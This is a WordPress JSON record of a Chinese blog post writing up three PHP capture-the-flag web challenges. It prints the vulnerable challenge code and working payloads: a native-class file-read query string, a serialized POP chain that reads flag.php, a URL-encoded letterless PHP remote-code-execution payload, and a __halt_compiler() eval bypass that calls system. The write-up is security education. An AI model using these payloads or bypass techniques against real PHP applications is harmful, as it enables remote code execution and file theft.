{"id":788,"date":"2023-01-16T20:47:17","date_gmt":"2023-01-16T12:47:17","guid":{"rendered":"https:\/\/fushuling.com\/?p=788"},"modified":"2023-07-31T14:46:30","modified_gmt":"2023-07-31T06:46:30","slug":"%e6%9f%90%e8%ae%ad%e7%bb%83%e8%90%a5web%e9%a2%98","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/01\/16\/%e6%9f%90%e8%ae%ad%e7%bb%83%e8%90%a5web%e9%a2%98\/","title":{"rendered":"\u67d0\u8bad\u7ec3\u8425web\u9898"},"content":{"rendered":"\n

\u524d\u8a00<\/h2>\n\n\n\n

\u516d\u9053web\u56db\u9053\u96f6\u89e3\uff0c\u8fd8\u6709\u4e00\u9053\u5230\u6bd4\u8d5b\u6700\u540e\u624d\u6709\u4e00\u4e2a\u4eba\u505a\u51fa\u6765\uff0c\u771f\u7684\u5c5e\u5b9e\u6709\u70b9\u96be\u7ef7\uff0c\u6b63\u597d\u6211\u628a\u90a3\u4e9b\u9644\u4ef6\u90fd\u4fdd\u5b58\u4e86\uff0c\u73b0\u5728\u6765\u505a\u505a\u3002<\/p>\n\n\n\n

Primitive php(19\u89e3)<\/h2>\n\n\n\n

\u9898\u76ee\u6e90\u7801\uff1a<\/p>\n\n\n\n

<?php\nhighlight_file(_FILE__);\n\/\/hint.php\nforeach($_GET as $value){\n    if(preg_match(\"\/flag\/\" , $value)){\n     \tdie(\"\u4e0d\u53ef\u4ee5\u770bflag\u5566\uff0c\u963fsir\") ;\n     \t}\n}\n    $a = new $_GET['class1']($_GET['a']);$b = new $_GET['class2']($_GET['b']);\n    if($a !==$b and md5($a)===md5($b)){\n    \techo new $_GET['class3']($_GET['c\u2019]);\n    }<\/code><\/pre>\n\n\n\n
\u521a\u770b\u7684\u65f6\u5019\u6709\u70b9\u61f5\uff0c\u8fd9\u600e\u4e48\u5565\u7c7b\u90fd\u6ca1\u6709\u5c31\u76f4\u63a5\u5f00new\u4e86\uff0c\u6ca1\u641e\u61c2\u8fd9\u9898\u5565\u610f\u601d\uff0c\u7136\u540e\u53bb\u505amisc\u4e86\uff0c\u540e\u9762\u56de\u6765\u770b\u7684\u65f6\u5019\u770b\u6807\u9898\u60f3\u5230\u8fd9\u4e0d\u5c31\u8003\u7684\u662fphp\u7684\u539f\u751f\u7c7b\uff0c\u7136\u540e\u5c31\u505a\u51fa\u6765\u4e86\u3002<\/p>\n\n\n\n
\u5b83\u5f53\u65f6\u63d0\u793a\u770bhint.php\uff0c\u4f46hint\u91cc\u5565\u4e5f\u6ca1\u6709\uff0c\u6240\u4ee5\u5173\u6ce8\u4e3b\u9875\u7684\u6e90\u7801\uff0c\u5176\u5b9e\u5c31\u662f\u4e2a\u7b80\u5355\u7684\u8fc7\u6ee4\uff0c\u9650\u5236\u4e0d\u80fd\u51fa\u73b0flag\uff0c\u8ba9\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5\u8bfb\u53d6flag.php\u3002\u7136\u540e$a\u548c$b\u4e0d\u4e00\u6837md5\u5374\u4e00\u6837\uff0c\u53ef\u4ee5\u60f3\u5230\u539f\u751f\u7c7b\u91cc\u7684Error\u6254\u62a5\u9519\uff0c\u7136\u540e\u8fdb\u5165if\u4e4b\u540e\u7528SplFileObject\u8bfb\u6587\u4ef6\u5373\u53ef\uff1a<\/p>\n\n\n\n
?class1=Error&a=\"payload\",1&class2=Error&b=\"payload\",1&class3=SplFileObject&c=php\n:\/\/filter\/convert.base64-encode\/resource=hint.php<\/code><\/pre>\n\n\n\n
\u56e0\u4e3a\u6211\u6ca1\u627e\u5230\u5565\u76f4\u63a5\u8bfb\u53d6flag.php\u6216\u8005\u547d\u4ee4\u6267\u884c\u7684\u65b9\u6cd5\uff0c\u6240\u4ee5\u8bfb\u53d6\u4e86\u90a3\u4e2ahint.php\u7684\u6e90\u7801\uff0c\u53d1\u73b0\u662f\u4e00\u4e2apop:<\/p>\n\n\n\n
<?php\necho \"no hint\";\nclass blue\n{\n    public $b1;\n    public $b2;\n\n    function eval() {\n        echo new $this->b1($this->b2);\n    }\n\n    public function __invoke()\n    {\n        $this->b1->blue();\n    }\n}\n\nclass red\n{\n    public $r1;\n\n    public function __destruct()\n    {\n        echo $this->r1 . '0xff0000';\n    }\n\n    public function execute()\n    {\n        ($this->r1)();\n\n    }\n\n    public function __call($a, $b)\n    {\n        echo $this->r1->getFlag();\n    }\n\n}\n\nclass white\n{\n    public $w;\n\n    public function __toString()\n    {\n        $this->w->execute();\n        return 'hello';\n    }\n}\nclass color\n{\n    public $c1;\n\n    public function execute()\n    {\n        ($this->c1)();\n    }\n\n    public function getFlag()\n    {\n         echo file_get_contents($this->c1);\n    }\n\n}\n\nunserialize($_POST['cmd']);\n?><\/code><\/pre>\n\n\n\n
\u53ef\u4ee5\u53c2\u8003\u6211\u4e4b\u524d\u5199\u7684pop\u4e00\u547d\u901a\u5173<\/a>\uff0c\u5199\u51fa\u90a3\u4e2a\u8bfb\u53d6\u6587\u4ef6\u7684pop\u94fe\u5e94\u8be5\u662f\u4e0d\u96be\u7684\uff0c\u56e0\u4e3a\u6ca1\u88ab\u4f7f\u7528\u7684\u65b9\u6cd5\u5f88\u591a\uff0c\u4e2a\u4eba\u8ba4\u4e3a\u76f4\u63a5\u547d\u4ee4\u6267\u884c\u5e94\u8be5\u4e5f\u662f\u80fd\u5199\u51fa\u6765\u7684\uff0c\u6211\u8fd9\u91cc\u5c31\u4e0d\u5199\u90a3\u4e2a\u590d\u6742\u7684\u65b9\u6cd5\u4e86\u3002<\/p>\n\n\n\n
red::__destruct()\n\u2193\u2193\u2193\nwhite::__toString()\n\u2193\u2193\u2193\ncolor::execute()\n\u2193\u2193\u2193\nblue::__invoke()\n\u2193\u2193\u2193\nred::__call($a, $b)\n\u2193\u2193\u2193\ncolor::getFlag()<\/code><\/pre>\n\n\n\n
<?php\n\nclass blue\n{\n    public $b1;\n    public $b2;\n\n    public function __invoke()\n    {\n\n    }\n}\n\nclass red\n{\n    public $r1;\n\n    public function __destruct()\n    {\n\n    }\n\n    public function __call($a, $b)\n    {\n\n    }\n}\n\nclass white\n{\n    public $w;\n\n    public function __toString()\n    {\n\n    }\n}\nclass color\n{\n    public $c1;\n\n}\n$bl=new blue;\n$re=new red();\n$wh=new white();\n$co=new color();\n$co2 = new color();\n$re2 = new red();\n$re3 = new red();\n\n\n$re->r1=$wh;\n$wh->w=$co;\n$co->c1=$bl;\n$bl->b1 = $re3;\n$co2->c1=\".\/flag.php\";#.\/\u662f\u7edd\u5bf9\u8def\u5f84\u7684\u610f\u601d\uff0c\u8fd9\u91cc\u7684\u8d4b\u503c\u5c31\u662f\u786e\u5b9afile_get_contents\u8bfb\u53d6\u7684\u6587\u4ef6\n$re3->r1=$co2;\n\necho serialize($re);\n#O:3:\"red\":1:{s:2:\"r1\";O:5:\"white\":1:{s:1:\"w\";O:5:\"color\":1:{s:2:\"c1\";O:4:\"blue\":2:{s:2:\"b1\";O:3:\"red\":1:{s:2:\"r1\";O:5:\"color\":1:{s:2:\"c1\";s:10:\".\/flag.php\";}}s:2:\"b2\";N;}}}}<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
easycode(1\u89e3)<\/h2>\n\n\n\n
<?php\nerror_reporting(0) ;\nhighlight_file(_FILE__);\n\nfunction count_string_char($str) {\n\t$arr =[];\n\tforeach(str_split($str) as $value){\n\t\tif(!in_array($value, $arr)){\n\t\t\tarray_push($arr,$value) ;\n\t\t}\n\t}\n\treturn sizeof ($arr) ;\n}\n\nif(isset($_POST[\u2019cmd']) && is_string($_POST[\u2019cmd'])){\n\t$cmd= $_POST['cmd'];\n\t$c=count_string_char($cmd) ;\n\tif($c >13){\n\t\tdie(\"$ctoo long\");\n\t\t}\n\tif( preg_match('\/[a-z0-9]|<|>|\\\\?|\\\\[|\\\\]|\\\\*|@|\\\\||\\\\^|~|&|\\s\/i'\uff0c$cmd) ) {\n\t\tdie(\"nonono\") ;\n\t\t}\n\teval (\"print ($cmd);\");\n}else{\nexit() ;\n}\n<\/code><\/pre>\n\n\n\n
\u7b80\u5355\u5206\u6790\u4e00\u4e0b\uff0c\u8fc7\u6ee4\u4e86\u5b57\u6bcd\u6570\u5b57?[]*@^~|<>&\u548c\u7a7a\u683c\uff0c\u800c\u8fd9\u4e2acount_string_char\u7684\u4f5c\u7528\u662f\u5224\u65adpayload\u91cc\u6709\u591a\u5c11\u4e2a\u4e0d\u540c\u7684\u5b57\u7b26\uff0c\u6bd4\u5982system\u5c31\u662f5\uff0c\u800cdog_\u5c31\u662f4\uff0c\u6211\u4eec\u5148\u6765\u6784\u9020\u4e00\u4e0bpayload:<\/p>\n\n\n\n
$__=++$____;  #$__=1\n--$__;  #0\n$____=((_\/_).''){$__}; #(_\/_).''=NAN\uff0c\u7136\u540e\u7528{$__}\u53d6\u4e86\u5b83\u7684\u7b2c\u4e00\u4f4d\uff0c\u4e5f\u5c31\u662fN\uff0c\u6240\u4ee5$____=N\n$_____=++$____; #O\n++$____; #P\n$______=$____; #$______=P\n++$____; #Q\n++$____; #R\n++$____; #S\n$_______=$____; #$_______=S\n++$____; #T\n$________=$____; #$________=T\n$_________=$______.$_____.$_______.$________; #POST\n$_________='_'.$_________; #_POST\n$$_________{_}($$_________{__};); #$_POST{_}($_POST{__};)<\/code><\/pre>\n\n\n\n
\u8fd9\u53ea\u662f\u6700\u57fa\u672c\u7684\u7248\u672c\uff0c\u53ea\u8981\u518d\u7a0d\u5fae\u5904\u7406\u4e00\u4e0b\u6211\u4eec\u5c31\u53ef\u4ee5\u4f20\u503c\u6267\u884c\u547d\u4ee4\u4e86\u3002\u6211\u89c9\u5f97\u8fd9\u4e2a\u6784\u9020\u6700\u5927\u7684\u96be\u70b9\u5c31\u662f\u8981\u77e5\u9053\u53ef\u4ee5\u7528{}\u4ee3\u66ff[]\uff0c\u800c\u6211\u5728\u770b\u4e86\u5e73\u5e08\u5085\u7684payload\u4e4b\u524d\u662f\u4e0d\u77e5\u9053\u7684\uff0c\u7136\u540e\u5c31\u662f\u7528$__=++$____;<\/code>\u8fd9\u79cd\u5f62\u5f0f\u6784\u9020\u51fa\u6570\u5b571\u51fa\u6765\uff0c\u63a5\u4e0b\u6765\u7684\u64cd\u4f5c\u5c31\u662f\u7ecf\u5178\u7684\u65e0\u5b57\u6bcd\u6570\u5b57RCE\u7684\u6784\u9020\u4e86\u3002<\/p>\n\n\n\n
\u7136\u540e\u8981\u6ce8\u610f\u4e00\u4e0b\uff0c\u9898\u76ee\u7684\u6e90\u7801\u7684\u4f4d\u7f6e\u662f\uff1a<\/p>\n\n\n\n
eval(\"print ($cmd);\");<\/code><\/pre>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u8981\u7528_);\u62fc\u63a5\u4e00\u4e9b\u524d\u9762\u7684\u90e8\u5206\uff0c\u7136\u540e\u518d\u628a\u540e\u9762\u90a3\u4e2a”)\u5229\u7528\u4e0a\uff0c\u6700\u540e\u6211\u4eec\u7684payload\u4e3a\uff1a<\/p>\n\n\n\n
\n
_);$__=++$____;–$__;$____=((_\/_).”){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________=’_’.$_________;$$_________{_}($$_________{__}<\/p>\n<\/blockquote>\n\n\n\n
\u5728\u5b9e\u9645\u73af\u5883\u4e2d\u4e5f\u5c31\u662f\uff1a<\/p>\n\n\n\n
\n
eval(“print (_);$_=++$____;–$__;$____=((_\/_).”){$__};$_____=++$____;++$____;$______=$____;++$____;++$____;++$____;$_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________=’_’.$________;$$_________{_}($$________{__});”);#eval(“print (_);$_POST{_}($_POST{__});”)<\/p>\n<\/blockquote>\n\n\n\n
\u6ce8\u610f\u628a\u5b83url\u7f16\u7801\u4e00\u4e0b\uff0c\u6700\u540e\u53ef\u4ee5\u76f4\u63a5POST\u6267\u884c\u547d\u4ee4\u7684payload\u4e3a\uff1a<\/p>\n\n\n\n
cmd=_)%3B%24__%3D%2B%2B%24____%3B--%24__%3B%24____%3D((_%2F_).'')%7B%24__%7D%3B%24_____%3D%2B%2B%24____%3B%2B%2B%24____%3B%24______%3D%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%7B_%7D(%24%24_________%7B__%7D&_=system&__=dir<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
ez_php(0\u89e3)<\/h2>\n\n\n\n
<?php\nerror_reporting(0);\nif(isset($_GET['hillstone'])){\n$hillstone = $_GET['hillstone'];\n$code = preg_replace('\/[A-Za-z_]+\\(+|\\)\/','',$hillstone);\nif('hillstone' === preg_replace('\/;+\/','hillstone',$code)){\n    eval($hillstone.'hillstone!');\n}else{\n    echo '???';\n}\n}\nhighlight_file(__FILE__);\n?> <\/code><\/pre>\n\n\n\n
pregreplace(‘\/[A-Za-z_]+(+|)\/’,”,$hillstone)\u7684\u4f5c\u7528\u5176\u5b9e\u5c31\u662f\u8ba9\u6211\u4eec\u53ea\u80fd\u65e0\u53c2\u6570rce\uff0c\u4f46\u95ee\u9898\u5728\u4e8e\u6211\u4eec\u7684\u8bed\u53e5\u540e\u9762\u8ddf\u4e86\u4e00\u4e2a’hillstone!’\uff0c\u5b83\u4ee5\u611f\u53f9\u53f7\u7ed3\u5c3e\u8ba9\u6211\u4eec\u7684php\u8bed\u53e5\u6839\u672c\u6ca1\u6cd5\u6267\u884c\uff0c\u6700\u540e\u80e1\u6768\u53bb\u7ffbphp\u7684\u5b98\u65b9\u6587\u6863\uff0c\u7ffb\u4e86\u597d\u4e45\uff0c\u53d1\u73b0 __halt_compiler()\u80fd\u628aeval\u91cc\u7684hillstone\u7ec8\u6b62\u6e32\u67d3\uff0c\u8fd9\u6837\u5c31\u80fd\u8ba9\u6211\u4eec\u6b63\u5e38\u6267\u884c\u524d\u9762\u7684\u8bed\u53e5\u3002\u7136\u540e\u95ee\u9898\u53c8\u6765\u5230\u4e86\u5982\u4f55\u901a\u8fc7\u65e0\u53c2\u6570\u7684\u51fd\u6570\u6267\u884c\u547d\u4ee4\uff0c\u901a\u8fc7\u53c2\u8003\u5927\u4f6c\u7684\u6559\u7a0b<\/a>\uff0c\u627e\u5230\u4e86\u7528eval(end(current(get_defined_vars())))\u52a0\u4f20\u53c2\u7684\u65b9\u5f0f\u6267\u884c\u547d\u4ee4\uff0c\u6700\u540epayload\u4e3a\uff1a<\/p>\n\n\n\n
?hillstone=eval(end(current(get_defined_vars())));__halt_compiler();&m=system(\"dir\");<\/code><\/pre>\n\n\n\n
\u672c\u5730\u53ef\u4ee5\u6253\u901a\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u5f53\u65f6\u6bd4\u8d5b\u7684\u73af\u5883\u6709\u975e\u5e38\u5e9e\u5927\u7684disable_function\uff0c\u8fd9\u6837\u901a\u4e0d\u4e86\u3002\u540e\u9762\u60f3\u7684\u662f\u5199\u9a6c\u8fde\u8681\u5251\u7528\u5b83\u90a3\u91cc\u9762\u7684bypass\u63d2\u4ef6\u7ed5\uff0c\u4f46\u8d5b\u540e\u8d81\u7740\u73af\u5883\u8fd8\u5728\u7ebf\u7684\u65f6\u5019\u8bd5\u4e86\u4e00\u4e0b\uff0c\u6ca1\u8fde\u4e0a\u53bb\uff0c\u53ef\u80fd\u8fd9\u79cd\u505a\u6cd5\u8fd8\u662f\u6709\u70b9\u5c0f\u95ee\u9898\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u524d\u8a00 \u516d\u9053web\u56db\u9053\u96f6\u89e3\uff0c\u8fd8\u6709\u4e00\u9053\u5230\u6bd4\u8d5b\u6700\u540e\u624d\u6709\u4e00\u4e2a\u4eba\u505a\u51fa\u6765\uff0c\u771f\u7684\u5c5e\u5b9e\u6709\u70b9\u96be\u7ef7\uff0c\u6b63\u597d\u6211\u628a\u90a3\u4e9b\u9644\u4ef6\u90fd\u4fdd\u5b58\u4e86\uff0c\u73b0\u5728 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-788","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/788","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=788"}],"version-history":[{"count":11,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/788\/revisions"}],"predecessor-version":[{"id":805,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/788\/revisions\/805"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=788"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=788"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=788"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}